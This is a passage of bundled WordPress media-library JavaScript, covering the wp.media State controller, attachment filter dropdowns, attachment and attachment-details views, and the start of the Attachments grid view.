3.5.0 */ ready: function() {}, /** * Activate event callback. * * @abstract * @since 3.5.0 */ activate: function() {}, /** * Deactivate event callback. * * @abstract * @since 3.5.0 */ deactivate: function() {}, /** * Reset event callback. * * @abstract * @since 3.5.0 */ reset: function() {}, /** * @since 3.5.0 * @access private */ _ready: function() { this._updateMenu(); }, /** * @since 3.5.0 * @access private */ _preActivate: function() { this.active = true; }, /** * @since 3.5.0 * @access private */ _postActivate: function() { this.on( 'change:menu', this._menu, this ); this.on( 'change:titleMode', this._title, this ); this.on( 'change:content', this._content, this ); this.on( 'change:toolbar', this._toolbar, this ); this.frame.on( 'title:render:default', this._renderTitle, this ); this._title(); this._menu(); this._toolbar(); this._content(); this._router(); }, /** * @since 3.5.0 * @access private */ _deactivate: function() { this.active = false; this.frame.off( 'title:render:default', this._renderTitle, this ); this.off( 'change:menu', this._menu, this ); this.off( 'change:titleMode', this._title, this ); this.off( 'change:content', this._content, this ); this.off( 'change:toolbar', this._toolbar, this ); }, /** * @since 3.5.0 * @access private */ _title: function() { this.frame.title.render( this.get('titleMode') || 'default' ); }, /** * @since 3.5.0 * @access private */ _renderTitle: function( view ) { view.$el.text( this.get('title') || '' ); }, /** * @since 3.5.0 * @access private */ _router: function() { var router = this.frame.router, mode = this.get('router'), view; this.frame.$el.toggleClass( 'hide-router', ! mode ); if ( ! mode ) { return; } this.frame.router.render( mode ); view = router.get(); if ( view && view.select ) { view.select( this.frame.content.mode() ); } }, /** * @since 3.5.0 * @access private */ _menu: function() { var menu = this.frame.menu, mode = this.get('menu'), view; this.frame.$el.toggleClass( 'hide-menu', ! mode ); if ( ! mode ) { return; } menu.mode( mode ); view = menu.get(); if ( view && view.select ) { view.select( this.id ); } }, /** * @since 3.5.0 * @access private */ _updateMenu: function() { var previous = this.previous('menu'), menu = this.get('menu'); if ( previous ) { this.frame.off( 'menu:render:' + previous, this._renderMenu, this ); } if ( menu ) { this.frame.on( 'menu:render:' + menu, this._renderMenu, this ); } }, /** * Create a view in the media menu for the state. * * @since 3.5.0 * @access private * * @param {media.view.Menu} view The menu view. */ _renderMenu: function( view ) { var menuItem = this.get('menuItem'), title = this.get('title'), priority = this.get('priority'); if ( ! menuItem && title ) { menuItem = { text: title }; if ( priority ) { menuItem.priority = priority; } } if ( ! menuItem ) { return; } view.set( this.id, menuItem ); } }); _.each(['toolbar','content'], function( region ) { /** * @access private */ State.prototype[ '_' + region ] = function() { var mode = this.get( region ); if ( mode ) { this.frame[ region ].render( mode ); } }; }); module.exports = State; /***/ }), /***/ 3526: /***/ (function(module) { /** * wp.media.selectionSync * * Sync an attachments selection in a state with another state. * * Allows for selecting multiple images in the Add Media workflow, and then * switching to the Insert Gallery workflow while preserving the attachments selection. * * @memberOf wp.media * * @mixin */ var selectionSync = { /** * @since 3.5.0 */ syncSelection: function() { var selection = this.get('selection'), manager = this.frame._selection; if ( ! this.get('syncSelection') || ! manager || ! selection ) { return; } /* * If the selection supports multiple items, validate the stored * attachments based on the new selection's conditions. Record * the attachments that are not included; we'll maintain a * reference to those. Other attachments are considered in flux. */ if ( selection.multiple ) { selection.reset( [], { silent: true }); selection.validateAll( manager.attachments ); manager.difference = _.difference( manager.attachments.models, selection.models ); } // Sync the selection's single item with the master. selection.single( manager.single ); }, /** * Record the currently active attachments, which is a combination * of the selection's attachments and the set of selected * attachments that this specific selection considered invalid. * Reset the difference and record the single attachment. * * @since 3.5.0 */ recordSelection: function() { var selection = this.get('selection'), manager = this.frame._selection; if ( ! this.get('syncSelection') || ! manager || ! selection ) { return; } if ( selection.multiple ) { manager.attachments.reset( selection.toArray().concat( manager.difference ) ); manager.difference = []; } else { manager.attachments.add( selection.toArray() ); } manager.single = selection._single; } }; module.exports = selectionSync; /***/ }), /***/ 8093: /***/ (function(module) { var View = wp.media.View, AttachmentCompat; /** * wp.media.view.AttachmentCompat * * A view to display fields added via the `attachment_fields_to_edit` filter. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ AttachmentCompat = View.extend(/** @lends wp.media.view.AttachmentCompat.prototype */{ tagName: 'form', className: 'compat-item', events: { 'submit': 'preventDefault', 'change input': 'save', 'change select': 'save', 'change textarea': 'save' }, initialize: function() { this.listenTo( this.model, 'change:compat', this.render ); }, /** * @return {wp.media.view.AttachmentCompat} Returns itself to allow chaining. */ dispose: function() { if ( this.$(':focus').length ) { this.save(); } /** * call 'dispose' directly on the parent class */ return View.prototype.dispose.apply( this, arguments ); }, /** * @return {wp.media.view.AttachmentCompat} Returns itself to allow chaining. */ render: function() { var compat = this.model.get('compat'); if ( ! compat || ! compat.item ) { return; } this.views.detach(); this.$el.html( compat.item ); this.views.render(); return this; }, /** * @param {Object} event */ preventDefault: function( event ) { event.preventDefault(); }, /** * @param {Object} event */ save: function( event ) { var data = {}; if ( event ) { event.preventDefault(); } _.each( this.$el.serializeArray(), function( pair ) { data[ pair.name ] = pair.value; }); this.controller.trigger( 'attachment:compat:waiting', ['waiting'] ); this.model.saveCompat( data ).always( _.bind( this.postSave, this ) ); }, postSave: function() { this.controller.trigger( 'attachment:compat:ready', ['ready'] ); } }); module.exports = AttachmentCompat; /***/ }), /***/ 4906: /***/ (function(module) { var $ = jQuery, AttachmentFilters; /** * wp.media.view.AttachmentFilters * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ AttachmentFilters = wp.media.View.extend(/** @lends wp.media.view.AttachmentFilters.prototype */{ tagName: 'select', className: 'attachment-filters', id: 'media-attachment-filters', events: { change: 'change' }, keys: [], initialize: function() { this.createFilters(); _.extend( this.filters, this.options.filters ); // Build `<option>` elements. this.$el.html( _.chain( this.filters ).map( function( filter, value ) { return { el: $( '<option></option>' ).val( value ).html( filter.text )[0], priority: filter.priority || 50 }; }, this ).sortBy('priority').pluck('el').value() ); this.listenTo( this.model, 'change', this.select ); this.select(); }, /** * @abstract */ createFilters: function() { this.filters = {}; }, /** * When the selected filter changes, update the Attachment Query properties to match. */ change: function() { var filter = this.filters[ this.el.value ]; if ( filter ) { this.model.set( filter.props ); } }, select: function() { var model = this.model, value = 'all', props = model.toJSON(); _.find( this.filters, function( filter, id ) { var equal = _.all( filter.props, function( prop, key ) { return prop === ( _.isUndefined( props[ key ] ) ? null : props[ key ] ); }); if ( equal ) { return value = id; } }); this.$el.val( value ); } }); module.exports = AttachmentFilters; /***/ }), /***/ 2868: /***/ (function(module) { var l10n = wp.media.view.l10n, All; /** * wp.media.view.AttachmentFilters.All * * @memberOf wp.media.view.AttachmentFilters * * @class * @augments wp.media.view.AttachmentFilters * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ All = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.All.prototype */{ createFilters: function() { var filters = {}, uid = window.userSettings ? parseInt( window.userSettings.uid, 10 ) : 0; _.each( wp.media.view.settings.mimeTypes || {}, function( text, key ) { filters[ key ] = { text: text, props: { status: null, type: key, uploadedTo: null, orderby: 'date', order: 'DESC', author: null } }; }); filters.all = { text: l10n.allMediaItems, props: { status: null, type: null, uploadedTo: null, orderby: 'date', order: 'DESC', author: null }, priority: 10 }; if ( wp.media.view.settings.post.id ) { filters.uploaded = { text: l10n.uploadedToThisPost, props: { status: null, type: null, uploadedTo: wp.media.view.settings.post.id, orderby: 'menuOrder', order: 'ASC', author: null }, priority: 20 }; } filters.unattached = { text: l10n.unattached, props: { status: null, uploadedTo: 0, type: null, orderby: 'menuOrder', order: 'ASC', author: null }, priority: 50 }; if ( uid ) { filters.mine = { text: l10n.mine, props: { status: null, type: null, uploadedTo: null, orderby: 'date', order: 'DESC', author: uid }, priority: 50 }; } if ( wp.media.view.settings.mediaTrash && this.controller.isModeActive( 'grid' ) ) { filters.trash = { text: l10n.trash, props: { uploadedTo: null, status: 'trash', type: null, orderby: 'date', order: 'DESC', author: null }, priority: 50 }; } this.filters = filters; } }); module.exports = All; /***/ }), /***/ 9663: /***/ (function(module) { var l10n = wp.media.view.l10n, DateFilter; /** * A filter dropdown for month/dates. * * @memberOf wp.media.view.AttachmentFilters * * @class * @augments wp.media.view.AttachmentFilters * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ DateFilter = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.Date.prototype */{ id: 'media-attachment-date-filters', createFilters: function() { var filters = {}; _.each( wp.media.view.settings.months || {}, function( value, index ) { filters[ index ] = { text: value.text, props: { year: value.year, monthnum: value.month } }; }); filters.all = { text: l10n.allDates, props: { monthnum: false, year: false }, priority: 10 }; this.filters = filters; } }); module.exports = DateFilter; /***/ }), /***/ 7040: /***/ (function(module) { var l10n = wp.media.view.l10n, Uploaded; /** * wp.media.view.AttachmentFilters.Uploaded * * @memberOf wp.media.view.AttachmentFilters * * @class * @augments wp.media.view.AttachmentFilters * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Uploaded = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.Uploaded.prototype */{ createFilters: function() { var type = this.model.get('type'), types = wp.media.view.settings.mimeTypes, uid = window.userSettings ? parseInt( window.userSettings.uid, 10 ) : 0, text; if ( types && type ) { text = types[ type ]; } this.filters = { all: { text: text || l10n.allMediaItems, props: { uploadedTo: null, orderby: 'date', order: 'DESC', author: null }, priority: 10 }, uploaded: { text: l10n.uploadedToThisPost, props: { uploadedTo: wp.media.view.settings.post.id, orderby: 'menuOrder', order: 'ASC', author: null }, priority: 20 }, unattached: { text: l10n.unattached, props: { uploadedTo: 0, orderby: 'menuOrder', order: 'ASC', author: null }, priority: 50 } }; if ( uid ) { this.filters.mine = { text: l10n.mine, props: { orderby: 'date', order: 'DESC', author: uid }, priority: 50 }; } } }); module.exports = Uploaded; /***/ }), /***/ 5019: /***/ (function(module) { var View = wp.media.View, $ = jQuery, Attachment; /** * wp.media.view.Attachment * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Attachment = View.extend(/** @lends wp.media.view.Attachment.prototype */{ tagName: 'li', className: 'attachment', template: wp.template('attachment'), attributes: function() { return { 'tabIndex': 0, 'role': 'checkbox', 'aria-label': this.model.get( 'title' ), 'aria-checked': false, 'data-id': this.model.get( 'id' ) }; }, events: { 'click': 'toggleSelectionHandler', 'change [data-setting]': 'updateSetting', 'change [data-setting] input': 'updateSetting', 'change [data-setting] select': 'updateSetting', 'change [data-setting] textarea': 'updateSetting', 'click .attachment-close': 'removeFromLibrary', 'click .check': 'checkClickHandler', 'keydown': 'toggleSelectionHandler' }, buttons: {}, initialize: function() { var selection = this.options.selection, options = _.defaults( this.options, { rerenderOnModelChange: true } ); if ( options.rerenderOnModelChange ) { this.listenTo( this.model, 'change', this.render ); } else { this.listenTo( this.model, 'change:percent', this.progress ); } this.listenTo( this.model, 'change:title', this._syncTitle ); this.listenTo( this.model, 'change:caption', this._syncCaption ); this.listenTo( this.model, 'change:artist', this._syncArtist ); this.listenTo( this.model, 'change:album', this._syncAlbum ); // Update the selection. this.listenTo( this.model, 'add', this.select ); this.listenTo( this.model, 'remove', this.deselect ); if ( selection ) { selection.on( 'reset', this.updateSelect, this ); // Update the model's details view. this.listenTo( this.model, 'selection:single selection:unsingle', this.details ); this.details( this.model, this.controller.state().get('selection') ); } this.listenTo( this.controller.states, 'attachment:compat:waiting attachment:compat:ready', this.updateSave ); }, /** * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ dispose: function() { var selection = this.options.selection; // Make sure all settings are saved before removing the view. this.updateAll(); if ( selection ) { selection.off( null, null, this ); } /** * call 'dispose' directly on the parent class */ View.prototype.dispose.apply( this, arguments ); return this; }, /** * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ render: function() { var options = _.defaults( this.model.toJSON(), { orientation: 'landscape', uploading: false, type: '', subtype: '', icon: '', filename: '', caption: '', title: '', dateFormatted: '', width: '', height: '', compat: false, alt: '', description: '' }, this.options ); options.buttons = this.buttons; options.describe = this.controller.state().get('describe'); if ( 'image' === options.type ) { options.size = this.imageSize(); } options.can = {}; if ( options.nonces ) { options.can.remove = !! options.nonces['delete']; options.can.save = !! options.nonces.update; } if ( this.controller.state().get('allowLocalEdits') ) { options.allowLocalEdits = true; } if ( options.uploading && ! options.percent ) { options.percent = 0; } this.views.detach(); this.$el.html( this.template( options ) ); this.$el.toggleClass( 'uploading', options.uploading ); if ( options.uploading ) { this.$bar = this.$('.media-progress-bar div'); } else { delete this.$bar; } // Check if the model is selected. this.updateSelect(); // Update the save status. this.updateSave(); this.views.render(); return this; }, progress: function() { if ( this.$bar && this.$bar.length ) { this.$bar.width( this.model.get('percent') + '%' ); } }, /** * @param {Object} event */ toggleSelectionHandler: function( event ) { var method; // Don't do anything inside inputs and on the attachment check and remove buttons. if ( 'INPUT' === event.target.nodeName || 'BUTTON' === event.target.nodeName ) { return; } // Catch arrow events. if ( 37 === event.keyCode || 38 === event.keyCode || 39 === event.keyCode || 40 === event.keyCode ) { this.controller.trigger( 'attachment:keydown:arrow', event ); return; } // Catch enter and space events. if ( 'keydown' === event.type && 13 !== event.keyCode && 32 !== event.keyCode ) { return; } event.preventDefault(); // In the grid view, bubble up an edit:attachment event to the controller. if ( this.controller.isModeActive( 'grid' ) ) { if ( this.controller.isModeActive( 'edit' ) ) { // Pass the current target to restore focus when closing. this.controller.trigger( 'edit:attachment', this.model, event.currentTarget ); return; } if ( this.controller.isModeActive( 'select' ) ) { method = 'toggle'; } } if ( event.shiftKey ) { method = 'between'; } else if ( event.ctrlKey || event.metaKey ) { method = 'toggle'; } this.toggleSelection({ method: method }); this.controller.trigger( 'selection:toggle' ); }, /** * @param {Object} options */ toggleSelection: function( options ) { var collection = this.collection, selection = this.options.selection, model = this.model, method = options && options.method, single, models, singleIndex, modelIndex; if ( ! selection ) { return; } single = selection.single(); method = _.isUndefined( method ) ? selection.multiple : method; // If the `method` is set to `between`, select all models that // exist between the current and the selected model. if ( 'between' === method && single && selection.multiple ) { // If the models are the same, short-circuit. if ( single === model ) { return; } singleIndex = collection.indexOf( single ); modelIndex = collection.indexOf( this.model ); if ( singleIndex < modelIndex ) { models = collection.models.slice( singleIndex, modelIndex + 1 ); } else { models = collection.models.slice( modelIndex, singleIndex + 1 ); } selection.add( models ); selection.single( model ); return; // If the `method` is set to `toggle`, just flip the selection // status, regardless of whether the model is the single model. } else if ( 'toggle' === method ) { selection[ this.selected() ? 'remove' : 'add' ]( model ); selection.single( model ); return; } else if ( 'add' === method ) { selection.add( model ); selection.single( model ); return; } // Fixes bug that loses focus when selecting a featured image. if ( ! method ) { method = 'add'; } if ( method !== 'add' ) { method = 'reset'; } if ( this.selected() ) { /* * If the model is the single model, remove it. * If it is not the same as the single model, * it now becomes the single model. */ selection[ single === model ? 'remove' : 'single' ]( model ); } else { /* * If the model is not selected, run the `method` on the * selection. By default, we `reset` the selection, but the * `method` can be set to `add` the model to the selection. */ selection[ method ]( model ); selection.single( model ); } }, updateSelect: function() { this[ this.selected() ? 'select' : 'deselect' ](); }, /** * @return {unresolved|boolean} */ selected: function() { var selection = this.options.selection; if ( selection ) { return !! selection.get( this.model.cid ); } }, /** * @param {Backbone.Model} model * @param {Backbone.Collection} collection */ select: function( model, collection ) { var selection = this.options.selection, controller = this.controller; /* * Check if a selection exists and if it's the collection provided. * If they're not the same collection, bail; we're in another * selection's event loop. */ if ( ! selection || ( collection && collection !== selection ) ) { return; } // Bail if the model is already selected. if ( this.$el.hasClass( 'selected' ) ) { return; } // Add 'selected' class to model, set aria-checked to true. this.$el.addClass( 'selected' ).attr( 'aria-checked', true ); // Make the checkbox tabable, except in media grid (bulk select mode). if ( ! ( controller.isModeActive( 'grid' ) && controller.isModeActive( 'select' ) ) ) { this.$( '.check' ).attr( 'tabindex', '0' ); } }, /** * @param {Backbone.Model} model * @param {Backbone.Collection} collection */ deselect: function( model, collection ) { var selection = this.options.selection; /* * Check if a selection exists and if it's the collection provided. * If they're not the same collection, bail; we're in another * selection's event loop. */ if ( ! selection || ( collection && collection !== selection ) ) { return; } this.$el.removeClass( 'selected' ).attr( 'aria-checked', false ) .find( '.check' ).attr( 'tabindex', '-1' ); }, /** * @param {Backbone.Model} model * @param {Backbone.Collection} collection */ details: function( model, collection ) { var selection = this.options.selection, details; if ( selection !== collection ) { return; } details = selection.single(); this.$el.toggleClass( 'details', details === this.model ); }, /** * @param {string} size * @return {Object} */ imageSize: function( size ) { var sizes = this.model.get('sizes'), matched = false; size = size || 'medium'; // Use the provided image size if possible. if ( sizes ) { if ( sizes[ size ] ) { matched = sizes[ size ]; } else if ( sizes.large ) { matched = sizes.large; } else if ( sizes.thumbnail ) { matched = sizes.thumbnail; } else if ( sizes.full ) { matched = sizes.full; } if ( matched ) { return _.clone( matched ); } } return { url: this.model.get('url'), width: this.model.get('width'), height: this.model.get('height'), orientation: this.model.get('orientation') }; }, /** * @param {Object} event */ updateSetting: function( event ) { var $setting = $( event.target ).closest('[data-setting]'), setting, value; if ( ! $setting.length ) { return; } setting = $setting.data('setting'); value = event.target.value; if ( this.model.get( setting ) !== value ) { this.save( setting, value ); } }, /** * Pass all the arguments to the model's save method. * * Records the aggregate status of all save requests and updates the * view's classes accordingly. */ save: function() { var view = this, save = this._save = this._save || { status: 'ready' }, request = this.model.save.apply( this.model, arguments ), requests = save.requests ? $.when( request, save.requests ) : request; // If we're waiting to remove 'Saved.', stop. if ( save.savedTimer ) { clearTimeout( save.savedTimer ); } this.updateSave('waiting'); save.requests = requests; requests.always( function() { // If we've performed another request since this one, bail. if ( save.requests !== requests ) { return; } view.updateSave( requests.state() === 'resolved' ? 'complete' : 'error' ); save.savedTimer = setTimeout( function() { view.updateSave('ready'); delete save.savedTimer; }, 2000 ); }); }, /** * @param {string} status * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ updateSave: function( status ) { var save = this._save = this._save || { status: 'ready' }; if ( status && status !== save.status ) { this.$el.removeClass( 'save-' + save.status ); save.status = status; } this.$el.addClass( 'save-' + save.status ); return this; }, updateAll: function() { var $settings = this.$('[data-setting]'), model = this.model, changed; changed = _.chain( $settings ).map( function( el ) { var $input = $('input, textarea, select, [value]', el ), setting, value; if ( ! $input.length ) { return; } setting = $(el).data('setting'); value = $input.val(); // Record the value if it changed. if ( model.get( setting ) !== value ) { return [ setting, value ]; } }).compact().object().value(); if ( ! _.isEmpty( changed ) ) { model.save( changed ); } }, /** * @param {Object} event */ removeFromLibrary: function( event ) { // Catch enter and space events. if ( 'keydown' === event.type && 13 !== event.keyCode && 32 !== event.keyCode ) { return; } // Stop propagation so the model isn't selected. event.stopPropagation(); this.collection.remove( this.model ); }, /** * Add the model if it isn't in the selection, if it is in the selection, * remove it. * * @param {[type]} event [description] * @return {[type]} [description] */ checkClickHandler: function ( event ) { var selection = this.options.selection; if ( ! selection ) { return; } event.stopPropagation(); if ( selection.where( { id: this.model.get( 'id' ) } ).length ) { selection.remove( this.model ); // Move focus back to the attachment tile (from the check). this.$el.focus(); } else { selection.add( this.model ); } // Trigger an action button update. this.controller.trigger( 'selection:toggle' ); } }); // Ensure settings remain in sync between attachment views. _.each({ caption: '_syncCaption', title: '_syncTitle', artist: '_syncArtist', album: '_syncAlbum' }, function( method, setting ) { /** * @function _syncCaption * @memberOf wp.media.view.Attachment * @instance * * @param {Backbone.Model} model * @param {string} value * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ /** * @function _syncTitle * @memberOf wp.media.view.Attachment * @instance * * @param {Backbone.Model} model * @param {string} value * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ /** * @function _syncArtist * @memberOf wp.media.view.Attachment * @instance * * @param {Backbone.Model} model * @param {string} value * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ /** * @function _syncAlbum * @memberOf wp.media.view.Attachment * @instance * * @param {Backbone.Model} model * @param {string} value * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ Attachment.prototype[ method ] = function( model, value ) { var $setting = this.$('[data-setting="' + setting + '"]'); if ( ! $setting.length ) { return this; } /* * If the updated value is in sync with the value in the DOM, there * is no need to re-render. If we're currently editing the value, * it will automatically be in sync, suppressing the re-render for * the view we're editing, while updating any others. */ if ( value === $setting.find('input, textarea, select, [value]').val() ) { return this; } return this.render(); }; }); module.exports = Attachment; /***/ }), /***/ 7274: /***/ (function(module) { /* global ClipboardJS */ var Attachment = wp.media.view.Attachment, l10n = wp.media.view.l10n, $ = jQuery, Details, __ = wp.i18n.__; Details = Attachment.extend(/** @lends wp.media.view.Attachment.Details.prototype */{ tagName: 'div', className: 'attachment-details', template: wp.template('attachment-details'), /* * Reset all the attributes inherited from Attachment including role=checkbox, * tabindex, etc., as they are inappropriate for this view. See #47458 and [30483] / #30390. */ attributes: {}, events: { 'change [data-setting]': 'updateSetting', 'change [data-setting] input': 'updateSetting', 'change [data-setting] select': 'updateSetting', 'change [data-setting] textarea': 'updateSetting', 'click .delete-attachment': 'deleteAttachment', 'click .trash-attachment': 'trashAttachment', 'click .untrash-attachment': 'untrashAttachment', 'click .edit-attachment': 'editAttachment', 'keydown': 'toggleSelectionHandler' }, /** * Copies the attachment URL to the clipboard. * * @since 5.5.0 * * @param {MouseEvent} event A click event. * * @return {void} */ copyAttachmentDetailsURLClipboard: function() { var clipboard = new ClipboardJS( '.copy-attachment-url' ), successTimeout; clipboard.on( 'success', function( event ) { var triggerElement = $( event.trigger ), successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) ); // Clear the selection and move focus back to the trigger. event.clearSelection(); // Handle ClipboardJS focus bug, see https://github.com/zenorocha/clipboard.js/issues/680 triggerElement.trigger( 'focus' ); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'The file URL has been copied to your clipboard' ) ); } ); }, /** * Shows the details of an attachment. * * @since 3.5.0 * * @constructs wp.media.view.Attachment.Details * @augments wp.media.view.Attachment * * @return {void} */ initialize: function() { this.options = _.defaults( this.options, { rerenderOnModelChange: false }); // Call 'initialize' directly on the parent class. Attachment.prototype.initialize.apply( this, arguments ); this.copyAttachmentDetailsURLClipboard(); }, /** * Gets the focusable elements to move focus to. * * @since 5.3.0 */ getFocusableElements: function() { var editedAttachment = $( 'li[data-id="' + this.model.id + '"]' ); this.previousAttachment = editedAttachment.prev(); this.nextAttachment = editedAttachment.next(); }, /** * Moves focus to the previous or next attachment in the grid. * Fallbacks to the upload button or media frame when there are no attachments. * * @since 5.3.0 */ moveFocus: function() { if ( this.previousAttachment.length ) { this.previousAttachment.trigger( 'focus' ); return; } if ( this.nextAttachment.length ) { this.nextAttachment.trigger( 'focus' ); return; } // Fallback: move focus to the "Select Files" button in the media modal. if ( this.controller.uploader && this.controller.uploader.$browser ) { this.controller.uploader.$browser.trigger( 'focus' ); return; } // Last fallback. this.moveFocusToLastFallback(); }, /** * Moves focus to the media frame as last fallback. * * @since 5.3.0 */ moveFocusToLastFallback: function() { // Last fallback: make the frame focusable and move focus to it. $( '.media-frame' ) .attr( 'tabindex', '-1' ) .trigger( 'focus' ); }, /** * Deletes an attachment. * * Deletes an attachment after asking for confirmation. After deletion, * keeps focus in the modal. * * @since 3.5.0 * * @param {MouseEvent} event A click event. * * @return {void} */ deleteAttachment: function( event ) { event.preventDefault(); this.getFocusableElements(); if ( window.confirm( l10n.warnDelete ) ) { this.model.destroy( { wait: true, error: function() { window.alert( l10n.errorDeleting ); } } ); this.moveFocus(); } }, /** * Sets the Trash state on an attachment, or destroys the model itself. * * If the mediaTrash setting is set to true, trashes the attachment. * Otherwise, the model itself is destroyed. * * @since 3.9.0 * * @param {MouseEvent} event A click event. * * @return {void} */ trashAttachment: function( event ) { var library = this.controller.library, self = this; event.preventDefault(); this.getFocusableElements(); // When in the Media Library and the Media Trash is enabled. if ( wp.media.view.settings.mediaTrash && 'edit-metadata' === this.controller.content.mode() ) { this.model.set( 'status', 'trash' ); this.model.save().done( function() { library._requery( true ); /* * @todo We need to move focus back to the previous, next, or first * attachment but the library gets re-queried and refreshed. * Thus, the references to the previous attachments are lost. * We need an alternate method. */ self.moveFocusToLastFallback(); } ); } else { this.model.destroy(); this.moveFocus(); } }, /** * Untrashes an attachment. * * @since 4.0.0 * * @param {MouseEvent} event A click event. * * @return {void} */ untrashAttachment: function( event ) { var library = this.controller.library; event.preventDefault(); this.model.set( 'status', 'inherit' ); this.model.save().done( function() { library._requery( true ); } ); }, /** * Opens the edit page for a specific attachment. * * @since 3.5.0 * * @param {MouseEvent} event A click event. * * @return {void} */ editAttachment: function( event ) { var editState = this.controller.states.get( 'edit-image' ); if ( window.imageEdit && editState ) { event.preventDefault(); editState.set( 'image', this.model ); this.controller.setState( 'edit-image' ); } else { this.$el.addClass('needs-refresh'); } }, /** * Triggers an event on the controller when reverse tabbing (shift+tab). * * This event can be used to make sure to move the focus correctly. * * @since 4.0.0 * * @fires wp.media.controller.MediaLibrary#attachment:details:shift-tab * @fires wp.media.controller.MediaLibrary#attachment:keydown:arrow * * @param {KeyboardEvent} event A keyboard event. * * @return {boolean|void} Returns false or undefined. */ toggleSelectionHandler: function( event ) { if ( 'keydown' === event.type && 9 === event.keyCode && event.shiftKey && event.target === this.$( ':tabbable' ).get( 0 ) ) { this.controller.trigger( 'attachment:details:shift-tab', event ); return false; } }, render: function() { Attachment.prototype.render.apply( this, arguments ); wp.media.mixin.removeAllPlayers(); this.$( 'audio, video' ).each( function (i, elem) { var el = wp.media.view.MediaDetails.prepareSrc( elem ); new window.MediaElementPlayer( el, wp.media.mixin.mejsSettings ); } ); } }); module.exports = Details; /***/ }), /***/ 4640: /***/ (function(module) { /** * wp.media.view.Attachment.EditLibrary * * @memberOf wp.media.view.Attachment * * @class * @augments wp.media.view.Attachment * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var EditLibrary = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.EditLibrary.prototype */{ buttons: { close: true } }); module.exports = EditLibrary; /***/ }), /***/ 1009: /***/ (function(module) { /** * wp.media.view.Attachment.EditSelection * * @memberOf wp.media.view.Attachment * * @class * @augments wp.media.view.Attachment.Selection * @augments wp.media.view.Attachment * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var EditSelection = wp.media.view.Attachment.Selection.extend(/** @lends wp.media.view.Attachment.EditSelection.prototype */{ buttons: { close: true } }); module.exports = EditSelection; /***/ }), /***/ 9254: /***/ (function(module) { /** * wp.media.view.Attachment.Library * * @memberOf wp.media.view.Attachment * * @class * @augments wp.media.view.Attachment * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Library = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.Library.prototype */{ buttons: { check: true } }); module.exports = Library; /***/ }), /***/ 9003: /***/ (function(module) { /** * wp.media.view.Attachment.Selection * * @memberOf wp.media.view.Attachment * * @class * @augments wp.media.view.Attachment * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Selection = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.Selection.prototype */{ className: 'attachment selection', // On click, just select the model, instead of removing the model from // the selection. toggleSelection: function() { this.options.selection.single( this.model ); } }); module.exports = Selection; /***/ }), /***/ 8408: /***/ (function(module) { var View = wp.media.View, $ = jQuery, Attachments, infiniteScrolling = wp.media.view.settings.infiniteScrolling; Attachments = View.extend(/** @lends wp.media.view.Attachments.prototype */{ tagName: 'ul', className: 'attachments', attributes: { tabIndex: -1 }, /** * Represents the overview of attachments in the Media Library. * * The constructor binds events to the collection this view represents when * adding or removing attachments or resetting the entire collection. * * @since 3.5.0 * * @constructs * @memberof wp.media.view * * @augments wp.media.View * * @listens collection:add * @listens collection:remove * @listens collection:reset * @listens controller:library:selection:add * @listens scrollElement:scroll * @listens this:ready * @listens controller:open */ initialize: function() { this.el.id = _.uniqueId('__attachments-view-'); /** * @since 5.8.0 Added the `infiniteScrolling` parameter. * * @param infiniteScrolling Whether to enable infinite scrolling or use * the default "load more" button. * @param refreshSensitivity The time in milliseconds to throttle the scroll * handler. * @param refreshThreshold The amount of pixels that should be scrolled before * loading more attachments from the server. * @param AttachmentView The view class to be used for models in the * collection. * @param sortable A jQuery sortable options object * ( http://api.jqueryui.com/sortable/ ). * @param resize A boolean indicating whether or not to listen to * resize events. * @param idealColumnWidth The width in pixels which a column should have when * calculating the total number of columns. */ _.defaults( this.options, { infiniteScrolling: infiniteScrolling || false, refreshSensitivity: wp.media.isTouchDevice ? 300 : 200, refreshThreshold: 3, AttachmentView: wp.media.view.Attachment, sortable: false, resize: true, idealColumnWidth: $( window ).width() < 640 ? 135 : 150 }); this._viewsByCid = {}; this.$window = $( window ); this.resizeEvent = 'resize.media-modal-columns'; this.collection.on( 'add', function( attachment ) { this.views.add( this.createAttachmentView( attachment ), { at: this.collection.indexOf( attachment ) }); }, this ); /* * Find the view to be removed, delete it and call the remove function to clear * any set event handlers. */ this.collection.on( 'remove', function( attachment ) { var view = this._viewsByCid[ attachment.cid ]; delete this._viewsByCid[ attachment.cid ]; if ( view ) { view.remove(); } }, this ); this.collection.on( 'reset', this.render, this ); this.controller.on( 'library:selection:add', this.attachmentFocus, this ); if ( this.options.infiniteScrolling ) { // Throttle the scroll handler and bind this. this.scroll = _.chain( this.scroll ).bind( this ).throttle( this.options.refreshSensitivity ).value(); this.options.scrollElement = this.options.scrollElement || this.el; $( this.options.scrollElement ).on( 'scroll', this.scroll ); } this.initSortable(); _.bindAll( this, 'setColumns' ); if ( this.options.resize ) { this.on( 'ready', this.bindEvents 